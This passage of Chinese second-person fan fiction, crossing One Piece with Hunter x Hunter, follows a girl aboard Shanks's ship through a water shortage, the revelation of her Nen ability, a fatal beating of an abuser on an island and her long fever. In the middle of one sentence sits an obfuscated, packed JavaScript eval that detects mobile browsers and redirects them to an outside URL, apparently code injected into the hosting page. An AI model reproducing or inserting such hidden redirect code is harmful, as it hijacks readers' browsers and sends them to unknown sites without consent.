“咕嘟。” 你再次路过一条向你投来羡慕、渴望眼神的咸鱼,听着咸鱼们在你身后用力吞咽口水的声音,不由翘起炫耀自得的小尾巴。 “小...小...蜘...蛛,给...给我也...也喝一口吧......”已经晒得快半干吧的香克斯向你伸出了颤抖的手,那头绚烂的红发现在暗淡无光,发丝间还挂着细碎的白色颗粒。 你低头对上了他的视线,看见他眼中闪烁着生命之源的强烈渴望,果断抬头大口喝水,他看到你“咕嘟咕嘟”豪放喝水的模样露出了羡慕、想要、委屈的表情,在你一口气喝光水后打了个饱嗝,然后对着他把杯口朝下,告诉他水没有了。 你挑衅的光明正大,但是已经很久没有喝过水的香克斯根本顾不上你这点挑衅,他此刻的眼中只有沿着杯壁流下的一滴水,在这滴水即将滴落时他动作迅速得比平时和敌人战斗时抽刀的速度还快,你只感到一抹黑影从你视线中“呼!”的闪过,下一瞬香克斯就扒着你的手,舌头伸的长长的,接住了那滴从你杯子中滴下的水。 他咂巴了两下嘴,带着期待和得寸进尺的大脸一个猛扑把你压在身下不停地用头蹭你的脸,边蹭边用他干枯的嗓音向你撒娇:“这么点水根部就不够嘛,再给人家一点吧,一杯就好,小蜘蛛你这么可爱一定不忍心你的船长喝死的对吧?” “滚开啊!”你死命拉扯着像只大狗一样不断蹭你的红发男人的头发,边扯边踹,可惜红毛大狗黏起人来的时候力大无穷,居然让你一个强化系都无法挣脱开,“你个大男人居然在撒娇?恶不恶心啊!” 简直离谱!这种现在抱着你疯狂撒娇就只为了喝口水的家伙居然能当四皇?他的脸呢?!四皇的威严呢?! “我不管我不管!我要喝水,快给我水喝!”对水的渴望占据了香克斯的理智高地,他居然还朝你撅起了嘴,大言不惭道,“小蜘蛛你刚刚喝了那么多水,现在口水一定很多吧,口水也行,给我点吧!” “那你怎么不去厕所喝尿啊!” 最后救了你的是向来靠谱的副船长,他“砰砰”两圈就让红发船长的脑袋长出了两个大包,随意拎起捂头呼痛的船长大人的一只脚把他拖远了你。 终于从香克斯嘴下逃过一劫惊魂未定的你看向贝克曼的眼神中多了几分敬畏。 贝克曼,你可真是不容易啊,我以后会对你客气点的。 那么,事情是怎么发展成现在这样的呢?这就要倒回到五天前。 再次洗劫了一艘海贼船搜刮了大量财宝的香克斯和往常一样愉快的开启了宴会,而财政方面刚进了一大笔,心情还不错的贝克曼默许了船长挥霍钱的举动,只是没想到,这次的默许居然给他们海贼团带了毁灭性的打击! 某个只要喝多酒就容易闯祸的家伙,这次也不例外闯了祸,他居然在喝多以后说天太热了,要玩打水仗凉快凉快,接着同样把脑子喝没了的几个人居然也跟着同意了,就这样他们搬出了船舱内的淡水在甲板上打起了水仗,把甲板都洗了个遍。 等贝克曼听声音直觉不对出来看的时候,这群蠢货把船上够所有人一个月用水的淡水霍霍的只剩下三大桶,气得贝克曼直接把打水仗的几个人倒吊着扔进了海里。 不是觉得天气热吗?不是想凉快凉快吗?那就都给他去海里凉快吧!什么时候凉快够了什么时候再上来! 船上最重要的生存资源淡水极度紧缺,但是雷德号距离下个最近的岛屿还要一周,没办法的副船长开始严格限定每个人的用水,每个人每天只能领到小半杯水,这点水对于人高马大的海贼们来说就是一小口的事,在最开始的两天里,海贼们还觉得无所谓,毕竟酒对他们来说才是生命之源,但是在船长毫不节制的开宴会下,他们船上酒水的存量也不多了,但是坏心眼的副船长并没有告诉那些酒蒙子,任由他们开心的喝着酒,不过一天半,船上的酒水也被这群酒鬼给喝光了,于是既没有水也没有酒的海贼们在炎热的天气中逐渐失去了眼中的高光,变成一条条被朗姆酒腌入味的又臭又咸的半干咸鱼。 至于你为什么和他们状态不一样...... 当然是因为你不缺水啊~ 虽然贝克曼给你的水量比其他人要多一点,但真的就只多一点点,你每天能领到的水是一杯。 但那又怎么样呢?你可是个强化系啊,只要对着水杯里面的水发动念......你就会得到源源不断的水啊! 现在在你的房间里堆放着好几个装满了水的水桶,你可以随时有干净的水喝,还可以用干净的水擦洗身体,自然和那群臭了的咸鱼不一样。 你刚整理好被香克斯蹭开的衣服,就听到某个男人兴奋的笑声:“哈哈哈,看我发现了什么?好多水啊!” 你暗叫不好,猛地回头,发现声音果然是从你的房间里传来的,你一个箭步冲到房门前,一脚踹开,毫不意外的看到一个红脑袋正坐在你房间的地板上正举着个水桶大口猛喝着,甚至因为喝得太急,有许多水沿着他的下巴、脖子流淌下来,打湿了他的衣服。 紧接着缺水多日的海贼们在听到有水的时候两眼发光,化身为饥渴的猛兽冲进了你的房间,直接把你从房门口撞飞出去,根本不管掉进了大海的你。 等你好不容易爬回船上看到的就是得到水源滋润,重新荣光焕发躺在甲板上一脸“得救了”的海贼,他们的身边还散落着几个水桶。 你赶回房间,看着里面也是一地的空水桶,整个人都沉默了。 好极了,他们居然把你的存货全干完了。 你平静的退出房间,朝那伙恢复了精神的海贼们走去,当你走到他们面前时,身上的缠开始沸腾,不断往你紧握高举着的拳头上涌去,最后你面无表情的挥着汇集了你全身100%念的拳头砸向了那些家伙。 “诶呦!” “啊!” “好痛啊!” “为什么打我屁股啊!” “别打我脸啊!我就只有脸了呀!” “嗷嗷!我的鼻子啊!” “呀!” 昔日驰骋大海之上,能让敌人闻风丧胆的红发海贼团大干部们现在一个个的都在你的拳头下逃跑哀嚎着。 一时间,甲板上惨叫声无数,简直是闻者痛快啊! “咳咳,好了,这件事是我们不对,我待这群笨蛋向你道歉。”贝克曼头顶大包,带着少有的心虚面露愧色的看着背后冒着熊熊大火的你说,在他的身后是鼻青脸肿抱成一团哭泣的海贼。 你并不接受这样的口头道歉,直接怒怼贝克曼:“道歉有用的话要海军干嘛?!” “咳嗯,你说的很对,我会让大家把自己的宝藏拿出来给你挑三分之一,就当是这些水费了。”贝克曼不亏是贝克曼,一句话就拿捏住了没什么钱的你,至于其他人会不会愿意这么做...... 他们会愿意的,这是来着贝克曼身为副船长的自信。 什么?你问船长的意见?在这种事情上,船长的意见不重要,他贝克曼说了算。 眼见你的脸色明显好转,贝克曼悄然点起烟,看似不经意的问:“小蜘蛛你平时在房间里藏这么多水做什么?” 你抱胸看天吹着口哨,心想这天可真蓝啊。 “这些水是船上缺水以后你藏得吧?”贝克曼虽然用的反问句,但是语气却是无比肯定。 你没有回答,继续抬头望天,开始研究起云来。 “你可以自己从海里爬回船,那也不是恶魔果实能力,天生的?”贝克曼也没在意你的不回答,只是自顾自的继续说着自己的猜测。 嘟嘟!答错了! 你在心里给贝克曼比了个大大的×,脸上却是不显,只是嘴角小小小的勾起了一点点得意的弧度。 没想到贝克曼的注意力都在你身上,你那点小小的微表情被他全看在了眼里,他挑了下眉,轻描淡写的说,“哦,后天的啊,和霸气一样?” 霸气?那是什么? “哦~你不知道什么是霸气啊。”贝克曼看着你就像是看见将要主动掉入陷阱的猎物一般,露出了意味深长的笑容,“怎么样,想知道什么是霸气吗?” 你看着贝克曼的笑容陷入了纠结,他脸上的这种笑你还挺熟的,毕 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贝克曼自然不会错过你眼底一闪而过的古怪,只是勾起一抹蛊惑人心的笑,继续对你释放名为信任的善意:“我们只是想保护你,你的能力既不是霸气也不是恶魔果实,一旦让世界政府知道,他们会用尽一切手段得到你、研究你、甚至杀了你。” “所以,好女孩,告诉我们,你的能力到底是什么?这样我们才好想办法更好的教你怎么隐藏起你这种神奇的力量。” 贝克曼低沉的声音围绕着你耳边,像是恶魔的低语。 要说吗?要信任吗? 你的脑海中进行着激烈的天人交战,最后还是没能抵挡住这份信任的蛊惑,轻轻说出了你的能力:“是念。” 有了开头,后面的一切就变得顺利起来,你将你知道的关于念的一些基本常识都说了出来,听完以后的海贼们沉默了。 “这...不就是霸气吗?”脑袋不太灵感的宾治困惑的挠了挠他的光头。 “不是,虽然听起来很像,但是念和霸气本质上还是有区别的。”本就拥有顶级霸气的香克斯直接否定了念就是霸气这个观念,“虽然都是人与生俱来的潜在力量,但是念是人体能量的具现化,而霸气是人意志力的具现化。” 依然不太清楚霸气是什么的你听着香克斯的发言只能挠挠脸,其实对于念的很多知识也是某个大少爷为了让你更好用才给你科普的,所以很多理论的东西你也是一知半解。 “所以你的念是可以变出水?”这是关心吃喝的路问出的问题。 “不是啊。”你摇了摇头,指着自己说,“我是强化系,想要变出水,至少是具现化系或者是特质性才能办到。” 言外之意就是,你没有凭空变水的能力。 “那你房间里的那边多水是哪来的?”香克斯闪着好奇的目光凑到你面前,左眼写着‘好奇!’,右眼写着‘快告诉我!’ 你看看其他脸上同样写着好奇的海贼们,决定给这群土包子们开开眼界。 于是你从甲板上随便捡了个空水桶回来,接着向同样等着你表演的贝克曼要了一杯水,你把装满水的杯子放在了水桶里,然后在众人万分好奇、期待的目光中,对着杯子发动了念。 接着土包子们就看到水杯里的水像个小喷泉一样突然升高,然后不停的喷发着源源不断的干净水源,迅速填满着水桶。 看到这个场景,贝克曼都震惊的瞪圆了眼睛,连咬在嘴里的香烟都掉在了地上,就更不要说那些土包子们了。每个土包子激动地闪着星星眼,吃惊的嘴巴变成了“O”型,发出了“哦哦哦~”的猴叫声。 “这个能力实在是太厉害了!这样一来我们不是就有源源不断的朗姆酒了吗!”看着小喷泉的香克斯突然灵光一闪,立马想到了对你能力的最佳应用。 嘿嘿,这样一来,贝克曼就没有理由禁止他开宴会了啊! 对此,副船长只是冷笑着给了陷入美好幻想的船长一枪托,然后他对你嘱咐道:“以后除非船上真的缺水了,否则别再用这个能力了”他还特意用枪戳了戳趴在地上装死的红脑袋说,“尤其是这个家伙,要是他来找你变酒,你就直接揍,别客气,只要揍不死就往死里揍。” “要是实在揍不过......”贝克曼抬手按着你的肩,面无表情的指着自己说,“就来告诉我,我帮你揍他。” 8. 8 今天,红发海贼团的海贼们格外兴奋,原因有两点。 其一是,已经在大海上漂泊了两个多月快三个月,这些已经无聊到只能在提起宴会两个字时才会有点精神,各方面都急需发泄的海贼们今天终于要靠岸了,而靠岸的岛屿是白胡子海贼团庇护下的一座盛产美酒的夏岛——美露岛,岛上特产的“美露酒”闻名遐迩,可惜这种酒每年的产量很少,一半会作为感谢白胡子海贼团庇护的谢礼运送到莫比迪克号上,剩下的也只会在岛屿内售卖,所以想要一尝美露酒就只能亲自来到这座热情奔放的岛屿。 而另一个原因则是...... 你的悬赏令出来了。 “......血腥魔女,悬赏金6500万贝利啊。”耶稣布盯着夹杂在今天报纸中的悬赏令一字一句念着,然后露出了个欣慰又隐隐得意的表情感叹道,“真没想到小蜘蛛第一次的悬赏金就这么高啊,不愧是我们海贼团的二代啊......” “耶稣布,本乡看过来了哦。”注意到本乡射向耶稣布的危险眼神,路一边啃着肉一边好心提醒着还处于‘老父亲’状态下的耶稣布,深怕他们的船医一时冲动不顾多年兄弟情义给他的四肢关节‘松解松懈’。 正说着,本乡就已经过来了,他从耶稣布手中抽走了悬赏令,皱眉看着照片中的你染了大半身血,一手握着滴血匕首,一手擦拭脸颊,脸上是兴奋的笑容,看过来的眼中也带着几分疯狂,再加上你脚下踩着的尸体,确实像极了邪恶的魔女。 这伙海军倒是会给人起外号。 本乡如是想着,不过看这个拍摄的角度,应该是之前哪个临死前的海军偷拍的吧。 这时,正好睡醒出来透气的香克斯刚走出船长室就看到了在甲板上聚在一起的几人,直觉告诉他那里一定有什么他不知道的消息,于是香克斯跟着直觉悄悄的走到本乡身后,踮起脚尖探头,看到了本乡手里拿着的悬赏令。 看到悬赏令的第一眼,香克斯有些失望。在看到悬赏令的第二眼,香克斯眼睛亮了,直接从本乡手中一把抢过悬赏令,认真仔细的看了两遍后愉快的大笑起来:“小的们,我们小蜘蛛也有悬赏令了!而且第一次就有6500万贝利,为了庆祝......啊呀!” 香克斯的话还没说完,就遭到了来自贝克曼的制裁。 贝克曼抬手接住了飞在空中的悬赏令,坐在甲板的木桶上,对趴在地上装死的家伙冷冷说道:“船上的酒两天前都被你喝光了,还想开宴会?” “啊?”听到酒没有了的香克斯直接诈尸,“怎么可能?!我昨晚明明还......”偷喝了好多呢...... 香克斯的声音在大副看过来的眼神中逐渐变轻,最后消失不见。 香克斯心虚的疯狂流汗,感觉身上隐隐作痛,贝克曼看着他的眼神他再熟悉不过。 坏了!贝克曼在炸他! 香克斯紧张的下意识咽了口唾沫,他也意识到了自己刚刚说漏了什么。香克斯干笑了两声试图和自家大副狡辩解释:“哈,哈哈哈,我就是半夜起来有点渴了,起来找点水喝......” 贝克曼在烟雾缭绕下模糊的面庞此刻异常冷酷:“找水不去厨房,反而去仓库?” 香克斯一脸认真:“我只是迷路了。” 贝克曼无语:“......在雷德号上迷路?” 香克斯无比认真的点了点头:“是的,虽然有点离谱,但的确是这样的。” 贝克曼深吸气,一拳揍飞了胡说八道的船长:“你自己都知道离谱还拿来敷衍我?” 你有些无聊的坐在桅杆上看着底下再次上演的闹剧,慢慢打了个哈欠。 “你一个人待在这里做什么?” 你听到声音,没有理睬来人,只是换了个坐姿继续半耷拉着眼盯着深蓝的大海发呆。 本乡已经习惯了你对他的无视,见你没有回答,他也只是默默叹了口气,坐在了你旁边开始自言自语起来:“我们马上就要到美露岛了,那是座漂亮的夏岛,可能因为是白胡子所庇护的岛屿,这些年来岛上的居民对外来的海贼虽然无感,但是也不排斥。” “我记得岛上有几家专卖女装的店铺,到时候我带你再去买几件合身的衣服吧,你喜欢什么样子的?长裙怎么样?女孩子总要有一两件漂亮的裙子,还有首饰,我那里有好几块质地不错的宝石,到时候都给你打首饰吧......” 啊~啊~又来了啊...... 你听着耳边的絮絮叨叨,无语的翻了个大大的白眼。 本乡这家伙,到底什么时候才能想明白,你已经不需要父亲这种生物的关心了呢? 最后拯救你的,是靠岸的岛屿。 船停好的第一秒,你就从桅杆跳下,走到贝克曼面前,伸手、接钱、下船、跑路,一系列动作行云流水,太过迅速,看得贝克曼险些忘记嘱咐你安全了。 “注意安全,别惹事。”贝克曼的叮嘱几乎是擦着你耳边说的,看着你风一般迅速消失在岸边的身影,他多少有点担心。 担心你直白的性格会惹来点不必要的麻烦让他加班加点的处理。 自从香克斯当上四皇以后,贝克曼需要操心和处理的事物越来越多,以至于他的黑发早早就提前开始褪色,如果可以,他希望船上的人都能少惹点祸,尤其是某些没有自知之明的船长。 所以在本乡下船去找你的时候,贝克曼在和他擦肩而过时说了句:“看着点,安全第一。” 本乡了然的点点头。 总算摆脱本乡的你用绝收敛着气息,尽量使自己的情绪平淡如水,这样本乡的见闻色就很难看到你了。 这是在船上无聊的时候,红发海贼团的海贼们和你一起做实验发现的。 你的绝的确使你的气息难以察觉,即便是见闻色也很难察觉到你的气息,但是见闻色可以感知到你情绪,这也是为什么香克斯他们之前可以用见闻色看到你的原因。 那时候的你,情绪很明显。 不管是紧张,还是警惕,都非常明显。 但只要你的情绪保持很平稳的状态下再用绝,他们就很难看到你了。 除了香克斯、贝克曼和耶稣布。 这三个家伙总能发现你。 你漫无目的的在人群中穿梭,周围都是热闹的叫卖声、孩子欢快的嬉戏声,这种洋溢着幸福气息的氛围让你感觉到格格不入。 不知道怎么的,你突然就想起了她。你曾经也感受到过幸福的滋味,可在她死亡的那一刻,这种美妙的滋味就已经离你而去,哪怕已经过去了半年之久,只要想起她,你都能感受到胸口处涌起的巨大悲伤,压得你喘不过气来。 她曾经是你在这个世界的锚,而如今你失去了你的锚,这对你而已无疑是痛苦的。 就在你失神于这突如其来的悲伤中时,一个高大的身影朝你迎面而来,把你撞倒在地上。 “?” 感觉好像撞到了什么东西的马尔科低头一看,发现自己不小心把个小姑娘撞倒了,开口道:“对不起yoi,小朋友你没事吧?” 小,小朋友?!! 听到这个称呼,什么悲伤,什么压抑都消散不见了,你麻溜的从地上爬起来,冷笑着对这个穿着蓝色七分裤紫色短袖衬衫,裸着胸膛,梳着菠萝头耷拉着眼睛的男人比中指:“喊谁小朋友呢?你这个瞎眼又没品的死鱼眼菠萝头基佬!” 瞎眼又没品的死鱼眼菠萝头基佬·马尔科:...... 看着站起来只到自己腰部,明明长了张很可爱的脸,但此刻却被脸上那双冒火的眼睛破坏了可爱,还对自己比中指骂人的女孩,马尔科只当是遇到了个脾气差又难缠的小孩子,耐着性子,好脾气的懒懒开口:“那小姑娘,对不起yoi。” 听着慵懒的语调中毫无道歉诚意的你没有就这么算了:“哈?一句对不起就完了?” 马尔科看着你不依不饶的样子,微微皱起了眉,心中暗想早知道他就不答应萨奇的拜托了,不过面上还是那副半死不活的样子,问道:“那你想怎么样yoi,我已经道过歉了。” “当然是给钱啊!”你理所当然的朝他伸出手,“你撞了我,当然要给我赔偿金啊!” “你想要多少。”不打算和你多纠缠的马尔科掏出钱袋打开,打算用钱打发你。 看到菠萝头基佬这么痛快,你直接狮子大开口:“5万贝利!” 听到5万贝利,马尔科额头一跳,立马把钱袋收起来,不善的看着你:“打劫打到我身上可不是什么明智之举啊,小姐。” “什么打劫?是你先把我撞倒在地上的!”你横眉竖眼的做伸手讨钱,“你该不会是没钱吧?穷鬼死基佬!” 再次被骂的马尔科,双手抱胸冷冷嗤笑:“小姑娘的嘴还是不要这么脏比较好yoi。” “撞倒你是我不对,但是你也没有受伤,我最多给你5千贝利做赔偿,不要的话我就走了。” 5万的赔偿金被硬生生砍了个零,你更生气了,就在你想动手自己拿赔偿金的时候突然想到你和面前这人纠缠的时间有点久了,万一被本乡找到,你的清净可能又要没有了时,强压下怒火,只好同意说:“5千就5千,快给我!” 马尔科看着突然就接受了他提议的你,挑了下眉什么也没说,从钱袋子里拿出几张纸币塞到了你的手中。 你点了下钱,没有问题后把钱塞进了自己裤子的口袋里,仰着头对他重重的哼了下离开,在经过男人身边的时候,还故意的重重撞了他的腿一下。 不管是你还是马尔科都没有想到,你们居然还会遇到。 在得到赔偿金以后,你挑选了条人少的小巷子,一方面是那里的氛围会让你想到刻意回避的事情,另一方面是幽静的环境更能帮你迅速调整情绪,避免被本乡找到。 只是没想到,你会遇到这种事情。 在听到细微的痛呼声和求救声时,你压根就没打算管过,就和以往一样,你对着眼前的一切都视若无睹,打算就此离开时,一个瘦弱的蓬头垢面的女人突然冲了出来,从你面前跑过,跑向你的身后。你的视线不自觉的随着女人的身影看过去,看到她一把将已经被打得遍体鳞伤蜷缩在地的小孩牢牢护在身下,任由刚刚砸在那个孩子身上的棍棒落在她自己瘦弱的身躯上时,你呆愣愣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513263|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失了神,在这一刻,你仿佛像是看到了她。 母亲曾经保护你的影子和面前瘦弱的女人重叠着,你的身体不自觉的动起来,一把折断了那只挥舞着棍棒的手。 刚刚还气焰无比嚣张的男人痛苦的抱着断手躺在地上哀嚎着,你弯腰捡起掉落在地上的木棍,面无表情的一下又一下的砸在这个男人的身上,男人一边痛苦哀嚎,一边在地上打滚试图躲开你的殴打,渐渐的,木棍开始变得湿润,哀嚎声也变得无力,很快男人再也发不出任何声音,他的气息消失了。 但是你没有停止动作,依然一下又一下的将木棍落在已经成为尸体的男人身上,看着他的身躯变得血肉模糊,不停发泄着你心中难以言说的痛苦。 “够了yoi。” 那人握住了木棍的另一头,制止了你。 马尔科神色有些复杂的看着你,他原本只是因为闻到血腥味就想过来看看是不是发生了什么,结果没想到看见了你不停挥棍的动作和已经看不出面容的尸体。不过在他看到你身后满身是伤抱在一起的女人和小孩是,瞬间明白了什么,不过为了避免你继续这种虐尸的行为,他还是出手制止了你,然后在看到你毫无表情双眼无神又泪流满面的样子时愣住了。 马尔科抬手抚上你的脸颊,用大拇指轻轻擦拭过你湿润的眼角,刻意放低柔和了的声音中带着点安抚的意味对你说:“别哭了。” 哭?谁哭了? 你看着马尔科瞳孔中倒映出来的你,不敢置信的抬手轻触脸颊,摸到一片湿润,这才后知后觉的发现,你居然哭了? 开什么玩笑?你怎么会哭呢?!又什么好哭的呢?! 你松开木棍,不停地用双手擦拭着脸颊,但是好奇怪,这些泪水为什么就是擦不掉? 你擦拭眼泪的动作越来越粗暴,眼角轻薄的皮肤都被你擦破,沾上微咸的泪水更是火辣辣的一片,可即便如此你也没有停下擦拭眼泪的动作。 “够了。”马尔科再次阻止了你的动作,他握住了你的双手,看到你自虐般把自己弄伤了,有些无奈的轻叹了口气,“眼角都擦破了yoi,你都不疼吗?”说着,他的手指从你眼角拂过,一缕温暖的蓝青色火焰随着他手指拂过的地方浮现,很快,你眼角的火辣痛感也消失不见了。 马尔科满意的看着碍眼的伤口愈合如初,刚想开口说些什么,一个危险的气息出现,随之而来的是个低沉压抑的声音。 “你们在做什么?” 本乡的见闻色在感受到你巨大的痛苦和悲伤时,整个人都不好了,一路开着见闻色朝你飞速敢来,深怕你已经遭遇到了什么不测。 当他敢来时,他只能看到你的背影,好在从背影看起来,你还是完整的,但是他并没有为此就松了口气。 因为他看到了正蹲在你面前的那个男人。 那是白胡子海贼团一番队队长,不死鸟马尔科。 为什么他会在这里?你的痛苦是不是和这个男人有关系?在他不知道时候,你们之间发生了点什么? 这些疑问在本乡脑海中不停萦绕,也让他看马尔科的眼神越来越危险。 于私,你是他的女儿,没有哪个做父亲的会想看到一个大你至少一轮的老男人和你有这样亲密的接触。 于公,你现在是红发海贼团的人,和其他海贼团的人,尤其是像同为四皇的白胡子海贼团的人应该少接触,尤其马尔科是白胡子海贼团默认的副船长,更不应该接触。 “你对我们的人做了什么?白胡子海贼团一番队队长,马尔科。” 马尔科看你的眼神有些诧异,他自然是认识来人的,那是和他一样同为船医的,红发海贼团的大干部本乡,他没想到你居然会是红发海贼团的人,什么时候红发开始收未成年的孩子了? 不过诧异归诧异,红发想让什么人上船那都是红发海贼团的事,轮不到他一个外人来置喙,而且他今天只是来帮忙运送物资的,根本没有要和红发的人打架的意思。于是,很有眼色的马尔科收回手站起身,在本乡警惕的目光中后退了几步,依旧用着他懒散的语调说:“我可什么都没做yoi,倒是你们,在我们的岛上随意打死了人yoi。” 马尔科看着本乡把你完全挡在身后一副保护姿态,指着地上的尸体说:“不过这家伙也不是什么好人,被打死了算他活该yoi,这次我就不和你们计较了,我还有事就先走了,那个小家伙你们自己照看好yoi。” 说完,马尔科直接转身走人。 最后,一直沉浸在痛苦中的你是被本乡背着回到船上的。在回去的途中,你趴在本乡宽阔的后背上,突然小声的说:“我想她了。” 本乡的脚步一顿,感受着衣领被你泪水打湿的温润,沉默半晌后才低沉的开口:“我也是。” 回到船上的你,当晚就发起了高烧,意识模糊间你感觉到有谁在不停地照顾着你,他身上的温暖让你莫名觉得熟悉,所以在你发现他要从你身边离开时,你下意识的伸手拽住了他的衣服,呜咽着呢喃:“别走......别留下我......” 因高烧而格外滚烫的泪珠再次划过你的眼角,没入你的发丝间。 9. 9 雷德·佛斯号这两天的氛围非常紧张凝重,哪怕是平常非常不着调的船长大人此时也小心翼翼,不得不夹紧尾巴做人,深怕一个不小心就碍到日渐狂躁,随时随地可能会突然爆发的金发船医。 你已经发烧昏迷五天了,任何检查都显示你的身体没有问题,但你的高烧就是一直不退,人也昏迷不醒,这让用尽手段的本乡十分惶恐。 他害怕你会就此死去。 束手无策又不能眼睁睁看着你继续这么下去的本乡找到了在船长室偷偷喝酒的香克斯,提出了独自带你去找马尔科的请求,理由也非常理所当然。 在你发烧的那天,马尔科和你有过短暂接触。 “嗯......”香克斯大刀阔斧的坐在床上,摸着下巴沉思了片刻,在对上本乡那张因为连续熬夜憔悴不堪的脸,还是没有完全同意了他的请求,“让贝克曼先和对方联系说明一下情况,然后我们一起去。” “头儿......”本乡下意识的就想开口拒绝,他很清楚自从香克斯当上四皇以后,世界政府对他们海贼团动向的关注是直线上升,如果这时候他们的主船靠近莫比迪克号,指不定会引起世界政府和海军怎样的骚动。 “小蜘蛛可是我的船员,她出了事怎么能让你单独带她去敌对势力那边呢?”香克斯拍拍本乡的肩膀,宽慰道,“放心吧,小蜘蛛不会有事的,倒是本乡你看起来像是要马上昏过去的样子,你先去好好休息一下吧,不然小蜘蛛还没好,你先垮了。” “......好。” 本乡点点头回到了医务室,他满眼心疼的看着躺在病床上因为高烧而脸颊绯红不已的你,在给你重新换了条冰毛巾敷在额头,用棉棒沾水湿润着你干涸起皮的双唇后,坐在床边,轻握着你滚烫的手。他在看到你露出难受表情时不由轻哼起他记忆最深处,原以为早就忘记的童谣。 那是他母亲在他小时候每晚哄他睡觉时会哼唱的童谣,是他故乡的童谣。 没想到本乡你还有这么温柔的一面,真的是太感人了啊! 医务室外一直开着见闻色的默默专注着本乡和你的平时能夜止小儿啼哭的大海贼们此刻一个个都哭得鼻涕哗啦的,但又都捂着嘴,深怕他们的哭声会吵到你。 贝克曼看着这群大男人哭得鼻涕眼泪一大堆的样子,默默翻了个白眼,熟练地拨通了电话虫,在一阵短促的响声后,电话虫的眼睛抬起,变成了慵懒感十足的死鱼眼。 “真是稀奇,红发的船副打给我是有什么事yoi?” 贝克曼吐出口烟,直接说道:“我就直接开门见山了,马尔科,五天前的美露岛上你是不是和我们船上的小姑娘接触过?” 马尔科:? 不明白贝克曼这么问的目的是什么的马尔科懒懒的回答道:“是yoi,你们那个小姑娘脾气太差了,只是不小心撞到她,她就对我好一通骂yoi。” 贝克曼接着问:“那你们之后发生了什么?” 马尔科:“之后?她讹我钱yoi,不过我没同意,怎么了吗?” 贝克曼回答:“我们的小姑娘从和你接触过回船的当晚就高烧昏迷了,到现在为止已经五天了。” 贝克曼说话的语调很慢很平稳,但是话里话外都带着点质疑质问之意,听得马尔科眉头不由紧蹙:“你这是什么意思yoi?怀疑是我动的手?” 贝克曼依旧不紧不慢的说道:“马尔科你误会了,我不是在质疑你,我只是想问你当时还有没有其他人,有没有什么其他异常的情况。毕竟我们的人现在一直昏迷不醒,而且任何检查手段都显示人没问题。” “没有什么特殊情况yoi。”马尔科没好气的边回忆当时的情况边说,“你们的小姑娘打死了个人渣算不算异常yoi?” “这样啊......”贝克曼思考了一会,向马尔科提出了见面的请求,“我们的船医想带着人找你看下,方便见面吗?” “......你们还真敢问啊。”马尔科对着电话虫翻了个白眼,还是没有直接拒绝,他抬头朝身后的高大男人问道,“老爹,红发他们的请求你怎么看yoi?” “库啦啦啦啦,既然是求我们,那就让他们带着礼物过来吧。”白胡子坐在自己的位置上同意了这次的见面请求,“我们接下来的航线上不是有座无人岛吗,就在那里见面吧。” 马尔科低头对着叼着烟的电话虫说:“喂!听见了吧,带好礼物过来。” 叼着烟的电话虫开口:“啊,那航线你和我说一下,至于礼物,我们的船医一定会准备好的。” 两天后,莫比迪克号在一座无人岛停靠了下来。当天傍晚,红色龙头船悄然出现在这座岛的另一边,很快,两方人马在岛上的中心位置见面了。 本乡抱着被被子裹得严严实实的你坐在巨大的火堆前,小心翼翼的掀开被子一角,露出了紧闭双眸的你。 本乡抱着你方便马尔科用听诊器对你进行检查,在感受到白胡子海贼团那里投来的打量视线时稍微调整了下姿势,用自己的身体将那些或好奇、或打探、或警惕的目光隔开,在马尔科检查完以后又重新将你用被子裹好,抬眼询问:“怎么样?” “完全没有问题yoi,真是太奇怪了。”马尔科有些无奈的摸了摸后脑勺说,“要不然,我用治疗之炎试试?” “......那就拜托了。”早就无计可施的本乡再次将你展露在马尔科面前,方便他对你施展能力。 马尔科的指尖燃起一朵青蓝色的火焰,他刚将燃着的手指点在你的额头就发现自己的火焰居然被你吸收了,他皱眉加大了火焰,将你整个人都包裹在温暖的不死鸟的火焰中。 持续不断的释放火焰消耗着马尔科的体力,在他感觉体力过半的时候,你睫羽轻颤了两下,缓缓睁开了无神的双眼。 “......居然有用yoi?”见你醒了,马尔科也收回了自己的火焰,诧异的看着抱着你喜极而泣的本乡,还是没忍住自己的好奇心问道,“你们到底是什么关系yoi?”这关心程度实在不像是同伴之间的关心,但是本乡对你看起来也不像是男女之间的关心,感觉更像是...... 和白胡子海贼团的人已经喝了两轮的耶稣布揭开了他们从看到本乡和你就好奇不已的答案:“是父女关系啦。” “欸?!!” 众人惊讶地下巴都掉地上了,再回想了下本乡看你的眼神,好像确实是老爹看他们时的慈爱啊...... 就在大家以为事情解决,皆大欢喜,准备一起开宴会的时候,现实又狠狠抽了红发海贼团众人一巴掌。 因为你,失忆了。 这么说好像也不对,你更像是遗忘了他们,而且心智貌似也退回到了幼儿时期,嘴里也经常吐露出一些他们不曾听到过的地方和让他们细思极恐的内容。 “我要养母!你们这群坏人快放我回去!”被本乡夹在腋下的你像只小兽不停挣扎,撕咬着本乡的胳膊,将他健壮的手臂咬得鲜血淋漓,手里还死死握着一块已经碎成渣的饼干。 脸上贴着块纱布擦枪的耶稣布看着走过去额头青筋暴起的本乡,用胳膊捅了捅旁边的钓鱼的莱姆琼斯问:“......这是第几次了?” 一脸酷哥样的莱姆琼斯推了推鼻梁上的墨镜说:“第三十六次了。”可惜他还带着点焦的头发破坏了整体形象。 路摸着自己包成猪蹄样的手心有余悸的说:“实在是太可怕了,路飞以前也没这样啊。” 宾治一边心疼的看着自家搭档光秃秃的尾巴一边问:“那你们觉得本乡这次会揍小蜘蛛吗?” 贝克曼吐出嘴里快被咬烂的烟嘴,冷哼了下说:“不会,本乡那小子看着火大,心里现在指不定得意成什么样了。毕竟我们这位蜘蛛小姐现在,可是只让本乡靠近。” “为什么只让本乡靠近呢?”香克斯顶着被挠花了的脸好奇的看着对本乡又喊又叫的你,“明明对本乡的态度也很差啊,怎么我们一靠近就又哭又咬又挠的呢?” 